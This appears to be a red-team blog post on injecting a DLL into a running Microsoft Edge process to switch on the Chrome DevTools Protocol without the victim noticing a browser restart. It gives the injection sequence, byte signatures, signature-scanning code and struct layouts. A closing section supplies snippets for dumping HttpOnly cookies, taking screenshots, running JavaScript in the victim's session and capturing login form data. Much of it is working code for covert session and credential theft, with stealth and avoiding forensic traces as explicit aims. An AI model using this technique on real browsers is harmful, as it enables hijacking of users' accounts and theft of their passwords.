The Problem: Browsers Are Black Boxes
Browsers are information goldmines. Session tokens, saved passwords, autofill data, browsing history - it's all there. But extracting this data traditionally requires either:
- Reading Files from disk but this will only give us persistent stored information, and wont allow us to actively engage with user sessions.
- Starting a new browser with
--remote-debugging-portbut this is very noisy, victim will notice that their browser restarted, and they lose all their active sessions.
What if we could flip a switch inside a running browser and enable the Chrome DevTools Protocol (CDP)? CDP gives us a WebSocket API to:
- Dump cookies (including HttpOnly ones)
- Capture screenshots
- Intercept network traffic
- Execute JavaScript in any tab
- Access the entire DOM
This is the premise behind this project: inject a DLL into a running Microsoft Edge process that enables CDP without restarting the browser.
The Target: StartRemoteDebuggingServer
Both Chrome and Edge (which is Chromium-based) have an internal function that spins up the CDP WebSocket server:
void DevToolsAgentHost::StartRemoteDebuggingServer(
std::unique_ptr<DevToolsSocketFactory> delegate,
const base::FilePath& output_directory,
const base::FilePath& debug_frontend_dir
);
When you launch Edge with --remote-debugging-port=9222, this function gets called during startup. Our goal: call it ourselves from injected code.
Simple, right? Just resolve the symbol and call it. Except:
- No exported function
- Chrome uses custom allocators (PartitionAlloc)
- Complex C++ types (unique_ptr, std::string, FilePath)
- Must run on the correct thread
The Architecture
Here's how the injection works:
sequenceDiagram
participant Injector as injector.exe
participant Edge as msedge.exe
participant DLL as cdp_inject.dll
participant CDP as CDP Server
Injector->>Edge: OpenProcess()
Injector->>Edge: VirtualAllocEx() for DLL path
Injector->>Edge: WriteProcessMemory()
Injector->>Edge: CreateRemoteThread(LoadLibraryA)
Edge->>DLL: DllMain(DLL_PROCESS_ATTACH)
DLL->>DLL: Spawn worker thread
DLL->>DLL: ResolveSymbols() via signatures
DLL->>Edge: FindWindow("Chrome_WidgetWin_1")
DLL->>Edge: SetWindowLongPtr() subclass
DLL->>Edge: PostMessage(WM_START_CDP)
Edge->>DLL: SubclassWndProc receives message
DLL->>DLL: Allocate factory with Chrome's operator new
DLL->>Edge: Call StartRemoteDebuggingServer()
Edge->>CDP: TCP socket listening on 127.0.0.1:8181
CDP-->>Injector: ws://127.0.0.1:8181 available
The main point here is that we can't call StartRemoteDebuggingServer from our injected thread. It must run on the UI thread because this is where DevToolsManager lives. We achieve this by subclassing Edge's main window and posting a custom message.
Phase 1: The PDB Approach (Getting It Working)
Before optimizing, we need a working proof-of-concept. Microsoft publishes PDB symbols for Edge, so we can use DbgHelp to resolve function addresses at runtime.
Symbol Resolution with DbgHelp
SymInitialize(proc, "srv*C:\\Symbols*https://msdl.microsoft.com/download/symbols", FALSE);
SymLoadModuleEx(proc, NULL, "msedge.dll", ...);
SYMBOL_INFO* sym = ...;
SymFromName(proc, "content::DevToolsAgentHost::StartRemoteDebuggingServer", sym);
g_start_server = (StartRemoteDebuggingServerFn)sym->Address;
This works, but has a massive problem: msedge.pdb is over 1GB. Downloading it on a target machine is impractical and leaves forensic artifacts.
Phase 2: WinDbg Deep Dive - Understanding the Structs
With symbols loaded, we can set breakpoints and examine memory. I started Edge with --remote-debugging-port=9222 and attached WinDbg to see what a "working" call looks like.
The Factory Struct
First discovery: The TCPServerSocketFactory struct
0:000> bp msedge!content::DevToolsAgentHost::StartRemoteDebuggingServer
0:000> g
Breakpoint 0 hit
0:000> dq poi(rcx) L8
0000587c`02a6d9e0 00007ffb`17093558 3f2659fd`24752406
0000587c`02a6d9f0 badbad00`badbad00 00000001`badbad00
That badbad00 is Chrome's memory poison pattern - it marks uninitialized memory. The factory is only 16 bytes:
+0x00: vtable pointer (8 bytes)
+0x08: port (2 bytes) + 6 bytes padding
+0x10: [uninitialized - beyond struct]
I initially assumed 40 bytes with an embedded IP address string because I was looking at a different struct. Hours of debugging later:
// WRONG - what I found in binary ninja
typedef struct {
void* vtable; // 0x00
uint8_t address[24]; // 0x08 - std::string for IP
uint16_t port; // 0x20
uint8_t padding[6]; // 0x22
} TCPServerSocketFactory; // 40 bytes
// CORRECT - what I found with WinDbg
typedef struct {
void* vtable; // 0x00
uint16_t port; // 0x08
uint8_t padding[6]; // 0x0A
} TCPServerSocketFactory; // 16 bytes
The IP address "127.0.0.1" is hardcoded inside CreateLocalHostServerSocket, not stored in the struct.
The FilePath Struct
Another gotcha: Chromium uses libc++, not MSVC's STL. The string layouts differ:
MSVC std::wstring: 32 bytes
libc++ std::wstring: 24 bytes <- Chromium uses this!
typedef struct {
uint8_t data[24]; // libc++ SSO string
} FilePath;
Memory Allocation Hell
My first working call... crashed on exit:
HEAP CORRUPTION DETECTED: Invalid address specified to RtlFreeHeap
Chrome replaces operator new with PartitionAlloc. If you allocate with HeapAlloc and Chrome frees it with PartitionAlloc's delete, boom.
Solution: resolve Chrome's operator new and use it:
typedef void* (*ChromeNewFn)(size_t size);
ChromeNewFn g_chrome_new;
// Later...
factory = (TCPServerSocketFactory*)g_chrome_new(sizeof(TCPServerSocketFactory));
Phase 3: The Port Exclusion Nightmare
After fixing everything above, the function returned successfully... but netstat showed nothing listening.
I traced into CreateLocalHostServerSocket:
0:016> p
msedge!...CreateLocalHostServerSocket+0x82:
00007ffb`0857bb92 85ed test ebp,ebp
00007ffb`0857bb94 jne ... [br=1] <- BRANCH TAKEN = ERROR!
The ListenWithAddressAndPort call was returning non-zero. I spent hours checking struct layouts until finally:
netsh interface ipv4 show excludedportrange protocol=tcp
Output:
Start Port End Port
--------- --------
9181 10380
...
Windows (specifically Hyper-V/WSL) reserves port ranges 9181 to 10380. Port 9222 was excluded. A full day wasted because of this quirk. So I changed the target port and everything worked.
#define CDP_PORT 8181
Phase 4: Signature-Based Resolution (Removing PDB Dependency)
Downloading a 1GB PDB isn't practical for real world use. I wrote pe_signature_finder.py to extract minimum unique byte signatures from the PDB:
def find_minimum_unique_signature(self, rva: int) -> Tuple[bytes, int, int, str]:
"""Find the shortest byte sequence that uniquely identifies this function."""
func_bytes = self.get_bytes_at_rva(rva, MAX_SIG_LENGTH)
for length in range(MIN_SIG_LENGTH, MAX_SIG_LENGTH):
pattern = func_bytes[:length]
matches = self.find_pattern_in_section(pattern, section_name)
if len(matches) == 1:
return pattern, length, 1, section_name
Running it against msedge.dll:
$ python pe_signature_finder.py msedge.dll msedge.pdb "*StartRemoteDebuggingServer*"
Symbol: content::DevToolsAgentHost::StartRemoteDebuggingServer()
RVA: 0x02CED39A
Section: .text
Minimum Signature (26 bytes): 41 57 41 56 41 54 56 57 53 48 83 EC 48 4C 89 C3...
The DLL now scans msedge.dll's .text section for these byte patterns:
static const uint8_t SIG_START_SERVER[] = {
0x41, 0x57, 0x41, 0x56, 0x41, 0x54, 0x56, 0x57,
0x53, 0x48, 0x83, 0xEC, 0x48, 0x4C, 0x89, 0xC3,
0x48, 0x89, 0xD7, 0x48, 0x89, 0xCE, 0x48, 0x8B,
0x05, 0x89
};
void* ScanForSignature(uint8_t* start, size_t size,
const uint8_t* sig, size_t sig_len) {
for (const uint8_t* p = start; p <= end; p++) {
if (memcmp(p, sig, sig_len) == 0)
return (void*)p;
}
return NULL;
}
The Vtable Challenge
Finding functions is easy - they have unique prologues. But the vtable lives in .rdata and contains relocated pointers. The file bytes differ from memory bytes!
File (pre-relocation): 00 D6 2D 80 01 00 00 00
Memory (post-relocation): 00 D6 43 08 FB 7F 00 00
My solution: find the vtable by its contents, not by hardcoding signature bytes:
- Find
vtable[0](scalar deleting destructor) by code signature - Find
vtable[1](CreateForHttpServer) by code signature - Scan
.rdatafor consecutive pointers to these functions
// Find vtable entries by their code signatures
entry0_fn = ScanForSignature(text_start, text_size, SIG_VTABLE_ENTRY0, ...);
entry1_fn = ScanForSignature(text_start, text_size, SIG_VTABLE_ENTRY1, ...);
// Search .rdata for [ptr_to_entry0][ptr_to_entry1]
const uint64_t* p = (const uint64_t*)rdata_start;
while (p < end) {
if (p[0] == (uint64_t)entry0_fn && p[1] == (uint64_t)entry1_fn) {
vtable = (void*)p;
break;
}
p++;
}
This is fully version-independent - no hardcoded offsets!
Wildcard Support for Relative Calls
One signature kept matching the wrong function. The issue: E8 xx xx xx xx is a relative call instruction. The offset changes based on where the function is located.
I added wildcard support:
static const uint8_t SIG_VTABLE_ENTRY0[] = {
0x56, 0x48, 0x83, 0xEC, 0x20, ...
0xE8, 0x00, 0x00, 0x00, 0x00, // E8 = call, rest = wildcard
0x48, 0x89, 0xF0, ...
};
static const uint8_t SIG_VTABLE_ENTRY0_MASK[] = {
1, 1, 1, 1, 1, ...
1, 0, 0, 0, 0, // 1=must match, 0=wildcard
1, 1, 1, ...
};
void* ScanForSignature(... const uint8_t* mask ...) {
for (size_t i = 0; i < sig_len; i++) {
if (mask == NULL || mask[i]) {
if (p[i] != sig[i]) match = FALSE;
}
// else: wildcard, any byte matches
}
}
The Final Flow
flowchart TD
A[Injector:<br/>Find Edge PID] --> B[VirtualAllocEx +<br/>WriteProcessMemory]
B --> C[CreateRemoteThread<br/>LoadLibraryA]
C --> D[DLL:<br/>DllMain entry]
D --> E[Spawn worker thread]
E --> F{Scan .text<br/>for signatures}
F --> G[Find vtable<br/>entries]
F --> H[Found:<br/>operator new]
F --> I[Found:<br/>GetInstance]
F --> J[Found:<br/>StartRemoteDebuggingServer]
G --> K[Scan .rdata<br/>for vtable]
H --> L
I --> L
J --> L
K --> L[Subclass<br/>browser window]
L --> M[PostMessage<br/>WM_START_CDP]
M --> N[UI Thread:<br/>Allocate factory]
N --> O[Call<br/>StartRemoteDebuggingServer]
O --> P[CDP listening on<br/>127.0.0.1:8181]
style P fill:#7351bd
Red Team Applications
With CDP enabled on a compromised browser:
// Dump all cookies (including HttpOnly)
const cookies = await CDP.send('Network.getAllCookies');
// Screenshot any tab
await CDP.send('Page.captureScreenshot');
// Execute JS in victim's session
await CDP.send('Runtime.evaluate', { expression: 'document.cookie' });
// Intercept credentials in real-time
CDP.on('Network.requestWillBeSent', req => {
if (req.request.url.includes('login')) {
console.log(req.request.postData);
}
});
Overall this was a fun project, and it gave me a lot of insights about chromium internals.